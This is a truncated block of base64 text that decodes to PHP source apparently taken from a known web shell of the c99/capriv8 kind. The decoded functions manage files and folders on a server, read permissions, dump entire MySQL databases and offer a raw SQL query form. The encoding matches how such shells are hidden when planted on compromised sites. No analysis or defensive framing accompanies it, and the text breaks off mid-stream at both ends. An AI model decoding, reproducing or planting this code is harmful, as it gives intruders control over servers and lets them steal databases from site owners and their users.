PUikgeyRkIC49IERJUkVDVE9SWV9TRVBBUkFUT1I7fQ0KICAgICAgICBpZiAoc3Vic3RyKCR0LC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19jb3B5X2RpcigkZCwkdCk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJGQpKSB7IHJldHVybiBjb3B5KCRkLCR0KTsgfQ0KICAgICAgZWxzZSB7IHJldHVybiBGQUxTRTsgfQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfZGlyKCRkLCR0KSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgaWYgKCFpc19kaXIoJHQpKSB7bWtkaXIoJHQpO30NCiAgICAgIHdoaWxlICgoJG8gPSByZWFkZGlyKCRoKSkgIT09IEZBTFNFKSB7DQogICAgICAgIGlmICgoJG8gIT0gIi4iKSBhbmQgKCRvICE9ICIuLiIpKSB7DQogICAgICAgICAgJHJldCA9IFRSVUU7DQogICAgICAgICAgaWYgKCFpc19kaXIoJGQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gY29weSgkZC5ESVJFQ1RPUllfU0VQQVJBVE9SLiRvLCR0LkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8pO30NCiAgICAgICAgICBlbHNlIHtpZiAobWtkaXIoJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykgYW5kIGZzX2NvcHlfZGlyKCRkLkRJUkVDVE9SWV9TRVBBUkFUT1IuJG8sJHQuRElSRUNUT1JZX1NFUEFSQVRPUi4kbykpIHskcmV0ID0gRkFMU0U7fX0NCiAgICAgICAgICBpZiAoISRyZXQpIHtyZXR1cm4gJHJldDt9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGNsb3NlZGlyKCRoKTsNCiAgICAgIHJldHVybiBUUlVFOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfbW92ZV9vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX21vdmVfb2JqKCRkLCR0KSB7DQogICAgICAkZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQogICAgICAkdCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkdCk7DQogICAgICBpZiAoaXNfZGlyKCRkKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIGlmIChzdWJzdHIoJHQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskdCAuPSBESVJFQ1RPUllfU0VQQVJBVE9SO30NCiAgICAgICAgcmV0dXJuIGZzX21vdmVfZGlyKCRkLCR0KTsNCiAgICAgIH0NCiAgICAgIGVsc2VpZiAoaXNfZmlsZSgkZCkpIHsNCiAgICAgICAgaWYoY29weSgkZCwkdCkpIHtyZXR1cm4gdW5saW5rKCRkKTt9DQogICAgICAgIGVsc2Uge3VubGluaygkdCk7IHJldHVybiBGQUxTRTt9DQogICAgICB9DQogICAgICBlbHNlIHtyZXR1cm4gRkFMU0U7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1kaXIiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3JtZGlyKCRkKSB7DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkbyA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYgKCgkbyAhPSAiLiIpIGFuZCAoJG8gIT0gIi4uIikpIHsNCiAgICAgICAgICBpZiAoIWlzX2RpcigkZC4kbykpIHt1bmxpbmsoJGQuJG8pO30NCiAgICAgICAgICBlbHNlIHtmc19ybWRpcigkZC4kby5ESVJFQ1RPUllfU0VQQVJBVE9SKTsgcm1kaXIoJGQuJG8pO30NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgICAgcm1kaXIoJGQpOw0KICAgICAgcmV0dXJuICFpc19kaXIoJGQpOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygiZnNfcm1vYmoiKSkgew0KICAgIGZ1bmN0aW9uIGZzX3Jtb2JqKCRvKSB7DQogICAgICAkbyA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkbyk7DQogICAgICBpZiAoaXNfZGlyKCRvKSkgew0KICAgICAgICBpZiAoc3Vic3RyKCRvLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JG8gLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAgIHJldHVybiBmc19ybWRpcigkbyk7DQogICAgICB9DQogICAgICBlbHNlaWYgKGlzX2ZpbGUoJG8pKSB7cmV0dXJuIHVubGluaygkbyk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInRhYnNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgew0KICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiAgICAgIGVsc2UgeyR0eXBlID0gIj8iO30NCiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsNCiAgICAgICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogICAgICBlbHNlIHskdCA9ICI/Ijt9DQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICAgICAgJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkgew0KICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiAgICAgIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsNCiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7DQogICAgICBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsNCiAgICAgIGdsb2JhbCAkc2hfdmVyOw0KICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAkZGIgPSAkc2V0WyJkYiJdOw0KICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9DQogICAgICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KICAgICAgfQ0KICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsNCiAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTSE9XIFRBQkxFUyBGUk9NICIuJGRiLCAkc29jayk7DQogICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHt3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX3JvdygkcmVzKSkgeyR0YWJzW10gPSAkcm93WzBdO319DQogICAgICB9DQogICAgICAkb3V0ID0gIg0KICAgICAgIyBEdW1wZWQgYnkgZngwDQogICAgICAjDQogICAgICAjIEhvc3Qgc2V0dGluZ3M6DQogICAgICAjIE15U1FMIHZlcnNpb246ICgiLm15c3FsX2dldF9zZXJ2ZXJfaW5mbygpLiIpIHJ1bm5pbmcgb24gIi5nZXRlbnYoIlNFUlZFUl9BRERSIikuIiAoIi5nZXRlbnYoIlNFUlZFUl9OQU1FIikuIikiLiINCiAgICAgICMgRGF0ZTogIi5kYXRlKCJkLm0uWSBIOmk6cyIpLiINCiAgICAgICMgREI6IFwiIi4kZGIuIlwiDQogICAgICAjLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIjsNCiAgICAgICRjID0gY291bnQoJG9ubHl0YWJzKTsNCiAgICAgIGZvcmVhY2goJHRhYnMgYXMgJHRhYikgew0KICAgICAgICBpZiAoKGluX2FycmF5KCR0YWIsJG9ubHl0YWJzKSkgb3IgKCEkYykpIHsNCiAgICAgICAgICBpZiAoJGFkZF9kcm9wKSB7JG91dCAuPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYCIuJHRhYi4iYDtcbiI7fQ0KICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgICAgICAgICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgICAgICAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOw0KICAgICAgICAgICAgJHJlcyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NIGAkdGFiYCIsICRzb2NrKTsNCiAgICAgICAgICAgIGlmIChteXNxbF9udW1fcm93cygkcmVzKSA+IDApIHsNCiAgICAgICAgICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hc3NvYygkcmVzKSkgew0KICAgICAgICAgICAgICAgICRrZXlzID0gaW1wbG9kZSgiYCwgYCIsIGFycmF5X2tleXMoJHJvdykpOw0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBhcnJheV92YWx1ZXMoJHJvdyk7DQogICAgICAgICAgICAgICAgZm9yZWFjaCgkdmFsdWVzIGFzICRrPT4kdikgeyR2YWx1ZXNbJGtdID0gYWRkc2xhc2hlcygkdik7fQ0KICAgICAgICAgICAgICAgICR2YWx1ZXMgPSBpbXBsb2RlKCInLCAnIiwgJHZhbHVlcyk7DQogICAgICAgICAgICAgICAgJHNxbCA9ICJJTlNFUlQgSU5UTyBgJHRhYmAoYCIuJGtleXMuImApIFZBTFVFUyAoJyIuJHZhbHVlcy4iJyk7XG4iOw0KICAgICAgICAgICAgICAgICRvdXQgLj0gJHNxbDsNCiAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgJG91dCAuPSAiIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxuXG4iOw0KICAgICAgaWYgKCRmaWxlKSB7DQogICAgICAgICRmcCA9IGZvcGVuKCRmaWxlLCAidyIpOw0KICAgICAgICBpZiAoISRmcCkgeyRyZXRbImVyciJdW10gPSAyO30NCiAgICAgICAgZWxzZSB7DQogICAgICAgICAgZndyaXRlICgkZnAsICRvdXQpOw0KICAgICAgICAgIGZjbG9zZSAoJGZwKTsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRwcmludCkge2lmICgkbmwyYnIpIHtlY2hvIG5sMmJyKCRvdXQpO30gZWxzZSB7ZWNobyAkb3V0O319DQogICAgICByZXR1cm4gJG91dDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2J1aWxkd2hlcmUiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX2J1aWxkd2hlcmUoJGFycmF5LCRzZXA9IiBhbmQiLCRmdW5jdHM9YXJyYXkoKSkgew0KICAgICAgaWYgKCFpc19hcnJheSgkYXJyYXkpKSB7JGFycmF5ID0gYXJyYXkoKTt9DQogICAgICAkcmVzdWx0ID0gIiI7DQogICAgICBmb3JlYWNoKCRhcnJheSBhcyAkaz0+JHYpIHsNCiAgICAgICAgJHZhbHVlID0gIiI7DQogICAgICAgIGlmICghZW1wdHkoJGZ1bmN0c1ska10pKSB7JHZhbHVlIC49ICRmdW5jdHNbJGtdLiIoIjt9DQogICAgICAgICR2YWx1ZSAuPSAiJyIuYWRkc2xhc2hlcygkdikuIiciOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAiKSI7fQ0KICAgICAgICAkcmVzdWx0IC49ICJgIi4kay4iYCA9ICIuJHZhbHVlLiRzZXA7DQogICAgICB9DQogICAgICAkcmVzdWx0ID0gc3Vic3RyKCRyZXN1bHQsMCxzdHJsZW4oJHJlc3VsdCktc3RybGVuKCRzZXApKTsNCiAgICAgIHJldHVybiAkcmVzdWx0Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfZmV0Y2hfYWxsIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9mZXRjaF9hbGwoJHF1ZXJ5LCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5LCRzb2NrKTt9DQogICAgICBlbHNlIHskcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTt9DQogICAgICAkYXJyYXkgPSBhcnJheSgpOw0KICAgICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRhcnJheVtdID0gJHJvdzt9DQogICAgICBteXNxbF9mcmVlX3Jlc3VsdCgkcmVzdWx0KTsNCiAgICAgIHJldHVybiAkYXJyYXk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9zbWFydGVycm9yIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9zbWFydGVycm9yKCR0eXBlLCRzb2NrKSB7DQogICAgICBpZiAoJHNvY2spIHskZXJyb3IgPSBteXNxbF9lcnJvcigkc29jayk7fQ0KICAgICAgZWxzZSB7JGVycm9yID0gbXlzcWxfZXJyb3IoKTt9DQogICAgICAkZXJyb3IgPSBodG1sc3BlY2lhbGNoYXJzKCRlcnJvcik7DQogICAgICByZXR1cm4gJGVycm9yOw0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfZm9ybSIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfcXVlcnlfZm9ybSgpIHsNCiAgICAgIGdsb2JhbCAkc3VibWl0LCRzcWxfeCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF94ID0gJHNxbF9nb3RvO30NCiAgICAgIGlmICgoISRzdWJtaXQpIG9yICgkc3FsX3gpKSB7DQogICAgICAgIGVjaG8gIjx0YWJsZSBib3JkZXI9MD48dHI+PHRkPjxmb3JtIG5hbWU9XCJjYXByaXY4X3NxbHF1ZXJ5XCIgbWV0aG9kPVBPU1Q+PGI+IjsgaWYgKCgkc3FsX3F1ZXJ5KSBhbmQgKCEkc3VibWl0KSkge2VjaG8gIkRvIHlvdSByZWFsbHkgd2FudCB0byI7fSBlbHNlIHtlY2hvICJTUUwtUXVlcnkiO30gZWNobyAiOjwvYj48YnI+PGJyPjx0ZXh0YXJlYSBuYW1lPXNxbF9xdWVyeSBjb2xzPTEwMCByb3dzPTEwPiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3F1ZXJ5KS4iPC90ZXh0YXJlYT48YnI+PGJyPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXggdmFsdWU9c3FsPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF94IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7DQogICAgICAgICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuY2Fwcml2OF9zcWxxdWVyeS5zcWxfcXVlcnkudmFsdWUrPSdgIi4kbmFtZS4iYCc7XCI+PGI+Ii4kbmFtZS4iPC9iPjwvYT48YnI+Ijt9DQogICAgICAgICAgZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25maXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfY3JlYXRlX2RiIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9jcmVhdGVfZGIoJGRiLCRzb2NrPSIiKSB7DQogICAgICAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVzKCRkYikuImA7IjsNCiAgICAgIGlmICgkc29jaykge3JldHVybiBteXNxbF9xdWVyeSgkc3FsLCRzb2NrKTt9DQogICAgICBlbHNlIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCk7fQ0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3BhcnNlKCRxdWVyeSkgew0KICAgICAgJHF1ZXJ5ID0gdHJpbSgkcXVlcnkpOw0KICAgICAgJGFyciA9IGV4cGxvZGUgKCIgIiwkcXVlcnkpOw0KICAgICAgJHR5cGVzID0gYXJyYXkoDQogICAgICAgICJTRUxFQ1QiPT5hcnJheSgzLDEpLA0KICAgICAgICAiU0hPVyI9PmFycmF5KDIsMSksDQogICAgICAgICJERUxFVEUiPT5hcnJheSgxKSwNCiAgICAgICAgIkRST1AiPT5hcnJheSgxKQ0KICAgICAgKTsNCiAgICAgICRyZXN1bHQgPSBhcnJheSgpOw0KICAgICAgJG9wID0gc3RydG91cHBlcigkYXJyWzBdKTsNCiAgICAgIGlmIChpc19hcnJheSgkdHlwZXNbJG9wXSkpIHsNCiAgICAgICAgJHJlc3VsdFsicHJvcGVydGlvbnMiXSA9ICR0eXBlc1skb3BdOw0KICAgICAgICAkcmVzdWx0WyJxdWVyeSJdICA9ICRxdWVyeTsNCiAgICAgICAgaWYgKCR0eXBlc1skb3BdID09IDIpIHsNCiAgICAgICAgICBmb3JlYWNoKCRhcnIgYXMgJGs9PiR2KSB7DQogICAgICAgICAgICBpZiAoc3RydG91cHBlcigkdikgPT0gIkxJTUlUIikgew0KICAgICAgICAgICAgICAkcmVzdWx0WyJsaW1pdCJdID0gJGFyclskaysxXTsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9IGV4cGxvZGUoIiwiLCRyZXN1bHRbImxpbWl0Il0pOw0KICAgICAgICAgICAgICBpZiAoY291bnQoJHJlc3VsdFsibGltaXQiXSkgPT0gMSkgeyRyZXN1bHRbImxpbWl0Il0gPSBhcnJheSgwLCRyZXN1bHRbImxpbWl0Il1bMF0pO30NCiAgICAgI